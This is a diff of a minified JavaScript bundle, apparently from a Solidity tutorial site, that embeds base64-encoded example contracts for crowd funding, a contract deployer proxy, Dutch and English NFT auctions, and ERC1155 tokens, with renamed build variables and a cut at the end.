`,Vj=({prev:s,next:a})=>r.jsx(A,{version:kj,title:Zj,description:Wj,cyfrinLink:Bj,html:fj,prev:s,next:a,codes:Gj}),Yj="0.8.26",Xj="Crowd Fund",vj="An example of crowd funding contract",Rj="https://www.cyfrin.io/glossary/crowd-fund-solidity-code-example",Nj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0KCmNvbnRyYWN0IENyb3dkRnVuZCB7CiAgICBldmVudCBMYXVuY2goCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgY3JlYXRvciwKICAgICAgICB1aW50MjU2IGdvYWwsCiAgICAgICAgdWludDMyIHN0YXJ0QXQsCiAgICAgICAgdWludDMyIGVuZEF0CiAgICApOwogICAgZXZlbnQgQ2FuY2VsKHVpbnQyNTYgaWQpOwogICAgZXZlbnQgUGxlZGdlKHVpbnQyNTYgaW5kZXhlZCBpZCwgYWRkcmVzcyBpbmRleGVkIGNhbGxlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgVW5wbGVkZ2UodWludDI1NiBpbmRleGVkIGlkLCBhZGRyZXNzIGluZGV4ZWQgY2FsbGVyLCB1aW50MjU2IGFt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F1aXJlKGNhbXBhaWduLnBsZWRnZWQgPCBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA+PSBnb2FsIik7CgogICAgICAgIHVpbnQyNTYgYmFsID0gcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdOwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYmFsKTsKCiAgICAgICAgZW1pdCBSZWZ1bmQoX2lkLCBtc2cuc2VuZGVyLCBiYWwpOwogICAgfQp9Cg=="}],Hj=`

Crowd fund ERC20 token

+`,Yj=({prev:s,next:a})=>r.jsx(A,{version:Zj,title:Wj,description:Gj,cyfrinLink:Bj,html:Vj,prev:s,next:a,codes:fj}),Xj="0.8.26",Rj="Crowd Fund",vj="An example of crowd funding contract",Nj="https://www.cyfrin.io/glossary/crowd-fund-solidity-code-example",Hj=[{fileName:"CrowdFund.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0KCmNvbnRyYWN0IENyb3dkRnVuZCB7CiAgICBldmVudCBMYXVuY2goCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgY3JlYXRvciwKICAgICAgICB1aW50MjU2IGdvYWwsCiAgICAgICAgdWludDMyIHN0YXJ0QXQsCiAgICAgICAgdWludDMyIGVuZEF0CiAgICApOwogICAgZXZlbnQgQ2FuY2VsKHVpbnQyNTYgaWQp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IHJlZnVuZCh1aW50MjU2IF9pZCkgZXh0ZXJuYWwgewogICAgICAgIENhbXBhaWduIG1lbW9yeSBjYW1wYWlnbiA9IGNhbXBhaWduc1tfaWRdOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID4gY2FtcGFpZ24uZW5kQXQsICJub3QgZW5kZWQiKTsKICAgICAgICByZXF1aXJlKGNhbXBhaWduLnBsZWRnZWQgPCBjYW1wYWlnbi5nb2FsLCAicGxlZGdlZCA+PSBnb2FsIik7CgogICAgICAgIHVpbnQyNTYgYmFsID0gcGxlZGdlZEFtb3VudFtfaWRdW21zZy5zZW5kZXJdOwogICAgICAgIHBsZWRnZWRBbW91bnRbX2lkXVttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYmFsKTsKCiAgICAgICAgZW1pdCBSZWZ1bmQoX2lkLCBtc2cuc2VuZGVyLCBiYWwpOwogICAgfQp9Cg=="}],Kj=`

Crowd fund ERC20 token

  1. User creates a campaign.
  2. Users can pledge, transferring their token to a campaign.
  3. @@ -1081,7 +1081,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit Refund(_id, msg.sender, bal); } } -`,Fj=({prev:s,next:a})=>r.jsx(A,{version:Yj,title:Xj,description:vj,cyfrinLink:Rj,html:Hj,prev:s,next:a,codes:Nj}),Kj="0.8.26",Mj="Deploy Any Contract",Sj="Deploy Any Contract",xj="https://www.cyfrin.io/glossary/deploy-any-contract-solidity-code-example",Jj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZ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ploy any contract by calling Proxy.deploy(bytes memory _code)

    +`,Fj=({prev:s,next:a})=>r.jsx(A,{version:Xj,title:Rj,description:vj,cyfrinLink:Nj,html:Kj,prev:s,next:a,codes:Hj}),Mj="0.8.26",Sj="Deploy Any Contract",xj="Deploy Any Contract",Jj="https://www.cyfrin.io/glossary/deploy-any-contract-solidity-code-example",zj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBhZGRyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gY3JlYXRlKHYsIHAsIG4pCiAgICAgICAgICAgIC8vIHYgPSBhbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAgICAgICAgLy8gcCA9IHBvaW50ZXIgaW4gbWVtb3J5IHRvIHN0YXJ0IG9mIGNvZGUKICAgICAgICAgICAgLy8gbiA9IHNpemUgb2YgY29kZQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZShjYWxsdmFsdWUoKSwgYWRkKF9jb2RlLCAweDIwKSwgbWxvYWQoX2NvZGUpKQogICAgICAgIH0KICAgICAgICAvLyByZXR1cm4gYWRkcmVzcyAwIG9uIGVycm9yCiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCksICJkZXBsb3kgZmFpbGVkIik7CgogICAgICAgIGVtaXQgRGVwbG95KGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoYWRkcmVzcyBfdGFyZ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gICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSB0eXBlKFRlc3RDb250cmFjdDIpLmNyZWF0aW9uQ29kZTsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVBhY2tlZChieXRlY29kZSwgYWJpLmVuY29kZShfeCwgX3kpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYWxsZGF0YShhZGRyZXNzIF9vd25lcikgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInNldE93bmVyKGFkZHJlc3MpIiwgX293bmVyKTsKICAgIH0KfQo="}],Dj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    For this example, you can get the contract bytecodes by calling Helper.getBytecode1 and Helper.getBytecode2

    // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.26;
    @@ -1155,7 +1155,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
             return abi.encodeWithSignature("setOwner(address)", _owner);
         }
     }
    -
    `,Dj=({prev:s,next:a})=>r.jsx(A,{version:Kj,title:Mj,description:Sj,cyfrinLink:xj,html:zj,prev:s,next:a,codes:Jj}),Ej="0.8.26",Qj="Dutch Auction",Tj="An example of Dutch auction in Solidity",Uj="https://www.cyfrin.io/glossary/dutch-auction-solidity-code-example",_j=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBkaXNjb3VudFJhdGU7CgogICAgY29uc3RydWN0b3IoCiAgICAgICAgdWludDI1NiBfc3RhcnRpbmdQcmljZSwKICAgICAgICB1aW50MjU2IF9kaXNjb3VudFJhdGUsCiAgICAgICAgYWRkcmVzcyBfbmZ0LAogICAgICAgIHVpbnQyNTYgX25mdElkCiAgICApIHsKICAgICAgICBzZWxsZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgICAgIHN0YXJ0aW5nUHJpY2UgPSBfc3RhcnRpbmdQcmljZTsKICAgICAgICBzdGFydEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgICAgIGV4cGlyZXNBdCA9IGJsb2NrLnRpbWVzdGFtcCArIERVUkFUSU9OOwogICAgICAgIGRpc2NvdW50UmF0ZSA9IF9kaXNjb3VudFJhdGU7CgogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF9zdGFydGluZ1ByaWNlID49IF9kaXNjb3VudFJhdGUgKiBEVVJBVElPTiwgInN0YXJ0aW5nIHByaWNlIDwgbWluIgogICAgICAgICk7CgogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiB0aW1lRWxhcHNlZCA9IGJsb2NrLnRpbWVzdGFtcCAtIHN0YXJ0QXQ7CiAgICAgICAgdWludDI1NiBkaXNjb3VudCA9IGRpc2NvdW50UmF0ZSAqIHRpbWVFbGFwc2VkOwogICAgICAgIHJldHVybiBzdGFydGluZ1ByaWNlIC0gZGlzY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gYnV5KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPCBleHBpcmVzQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Lj=`

    Dutch auction for NFT.

    +`,Ej=({prev:s,next:a})=>r.jsx(A,{version:Mj,title:Sj,description:xj,cyfrinLink:Jj,html:Dj,prev:s,next:a,codes:zj}),Qj="0.8.26",Tj="Dutch Auction",Uj="An example of Dutch auction in Solidity",Lj="https://www.cyfrin.io/glossary/dutch-auction-solidity-code-example",_j=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRp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ICAgIF9zdGFydGluZ1ByaWNlID49IF9kaXNjb3VudFJhdGUgKiBEVVJBVElPTiwgInN0YXJ0aW5nIHByaWNlIDwgbWluIgogICAgICAgICk7CgogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiB0aW1lRWxhcHNlZCA9IGJsb2NrLnRpbWVzdGFtcCAtIHN0YXJ0QXQ7CiAgICAgICAgdWludDI1NiBkaXNjb3VudCA9IGRpc2NvdW50UmF0ZSAqIHRpbWVFbGFwc2VkOwogICAgICAgIHJldHVybiBzdGFydGluZ1ByaWNlIC0gZGlzY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gYnV5KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPCBleHBpcmVzQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Oj=`

    Dutch auction for NFT.

    Auction

    1. Seller of NFT deploys this contract setting a starting price for the NFT.
    2. @@ -1224,7 +1224,7 @@ Closing a channel when Alice and Bob do not agree on the final balances selfdestruct(seller); } } -`,Oj=({prev:s,next:a})=>r.jsx(A,{version:Ej,title:Qj,description:Tj,cyfrinLink:Uj,html:Lj,prev:s,next:a,codes:_j}),Pj="0.8.26",$j="English Auction",qj="An example of English auction in Solidity",sA="https://www.cyfrin.io/glossary/english-auction-solidity-code-example",aA=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBldmVudCBCaWQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIGJpZGRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgRW5kKGFkZHJlc3Mgd2lubmVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgSUVSQzcyMSBwdWJsaWMgbmZ0OwogICAgdWludDI1NiBwdWJsaWMgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBlbmRBdDsKICAgIGJvb2wgcHVibGljIHN0YXJ0ZWQ7CiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICBhZGRyZXNzIHB1YmxpYyBoaWdoZXN0QmlkZGVyOwogICAgdWludDI1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for NFT.

      +`,Pj=({prev:s,next:a})=>r.jsx(A,{version:Qj,title:Tj,description:Uj,cyfrinLink:Lj,html:Oj,prev:s,next:a,codes:_j}),$j="0.8.26",qj="English Auction",sA="An example of English auction in Solidity",aA="https://www.cyfrin.io/glossary/english-auction-solidity-code-example",nA=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBldmVudCBCaWQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIGJpZGRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgRW5kKGFkZHJlc3Mgd2lubmVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgSUVSQzcyMSBwdWJsaWMgbmZ0OwogICAgdWludDI1NiBwdWJsaWMgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBlbmRBdDsKICAgIGJvb2wgcHVibGljIHN0YXJ0ZWQ7CiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICBhZGRyZXNzIHB1YmxpYyBoaWdoZXN0QmlkZGVyOwogICAgdWludDI1NiBwdWJsaWMgaGlnaGVzdEJpZDsKICAgI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BoaWdoZXN0QmlkZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICBoaWdoZXN0QmlkID0gbXNnLnZhbHVlOwoKICAgICAgICBlbWl0IEJpZChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQyNTYgYmFsID0gYmlkc1ttc2cuc2VuZGVyXTsKICAgICAgICBiaWRzW21zZy5zZW5kZXJdID0gMDsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGJhbCk7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYmFsKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmQoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBlbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],lA=`

      English auction for NFT.

      Auction

      1. Seller of NFT deploys this contract.
      2. @@ -1322,7 +1322,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit End(highestBidder, highestBid); } } -`,lA=({prev:s,next:a})=>r.jsx(A,{version:Pj,title:$j,description:qj,cyfrinLink:sA,html:nA,prev:s,next:a,codes:aA}),pA="0.8.26",eA="ERC1155",cA="Example of ERC1155 multi token in Solidity",tA="https://www.cyfrin.io/glossary/erc-1155-solidity-code-example",oA=[{fileName:"ERC1155.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMTE1NSB7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgaWQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZUJhdGNoVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3Mgb3duZXIsIHVpbnQyNTYgaWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2ZCYXRjaChhZGRyZXNzW10gY2FsbGRhdGEgb3duZXJzLCB1aW50MjU2W10gY2FsbGRhdGEgaWRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldH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LCBmcm9tLCB0bywgaWQsIHZhbHVlKTsKCiAgICAgICAgaWYgKHRvLmNvZGUubGVuZ3RoID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgSUVSQzExNTVUb2tlblJlY2VpdmVyKHRvKS5vbkVSQzExNTVSZWNlaXZlZCgKICAgICAgICAgICAgICAgICAgICBtc2cuc2VuZGVyLCBmcm9tLCBpZCwgdmFsdWUsIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb2tlblJlY2VpdmVyLm9uRVJDMTE1NVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc2FmZUJhdGNoVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBtc2cuc2VuZGVyID09IGZyb20gfHwgaXNBcHByb3ZlZEZvckFsbFtmcm9tXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhcHByb3ZlZCIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUodG8gIT0gYWRkcmVzcygwKSwgInRvID0gMCBhZGRyZXNzIik7CiAgICAgICAgcmVxdWlyZShpZHMubGVuZ3RoID09IHZhbHVlcy5sZW5ndGgsICJpZHMgbGVuZ3RoICE9IHZhbHVlcyBsZW5ndGgiKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgaWRzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGJhbGFuY2VPZltmcm9tXV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ICkgaW50ZXJuYWwgewogICAgICAgIHJlcXVpcmUodG8gIT0gYWRkcmVzcygwKSwgInRvID0gMCBhZGRyZXNzIik7CiAgICAgICAgcmVxdWlyZShpZHMubGVuZ3RoID09IHZhbHVlcy5sZW5ndGgsICJpZHMgbGVuZ3RoICE9IHZhbHVlcyBsZW5ndGgiKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgaWRzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b11baWRzW2ldXSArPSB2YWx1ZXNbaV07CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyQmF0Y2gobXNnLnNlbmRlciwgYWRkcmVzcygwKSwgdG8sIGlkcywgdmFsdWVzKTsKCiAgICAgICAgaWYgKHRvLmNvZGUubGVuZ3RoID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgSUVSQzExNTVUb2tlblJlY2VpdmVyKHRvKS5vbkVSQzExNTVCYXRjaFJlY2VpdmVkKAogICAgICAgICAgICAgICAgICAgIG1zZy5zZW5kZXIsIGFkZHJlc3MoMCksIGlkcywgdmFsdWVzLCBkYXRhCiAgICAgICAgICAgICAgICApID09IElFUkMxMTU1VG9rZW5SZWNlaXZlci5vbkVSQzExNTVCYXRjaFJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGlkLCB1aW50MjU2IHZhbHVlKSBpbnRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShmcm9tICE9IGFkZHJlc3MoMCksICJmcm9tID0gMCBhZGRyZXNzIik7CiAgICAgICAgYmFsYW5jZU9mW2Zyb21dW2lkXSAtPSB2YWx1ZTsKICAgICAgICBlbWl0IFRyYW5zZmVyU2luZ2xlKG1z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WVzLCBkYXRhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQsIHVpbnQyNTYgdmFsdWUpIGV4dGVybmFsIHsKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBpZCwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhdGNoQnVybih1aW50MjU2W10gY2FsbGRhdGEgaWRzLCB1aW50MjU2W10gY2FsbGRhdGEgdmFsdWVzKQogICAgICAgIGV4dGVybmFsCiAgICB7CiAgICAgICAgX2JhdGNoQnVybihtc2cuc2VuZGVyLCBpZHMsIHZhbHVlcyk7CiAgICB9Cn0K"}],rA=`

        Example of ERC1155

        +`,pA=({prev:s,next:a})=>r.jsx(A,{version:$j,title:qj,description:sA,cyfrinLink:aA,html:lA,prev:s,next:a,codes:nA}),eA="0.8.26",cA="ERC1155",tA="Example of ERC1155 multi token in 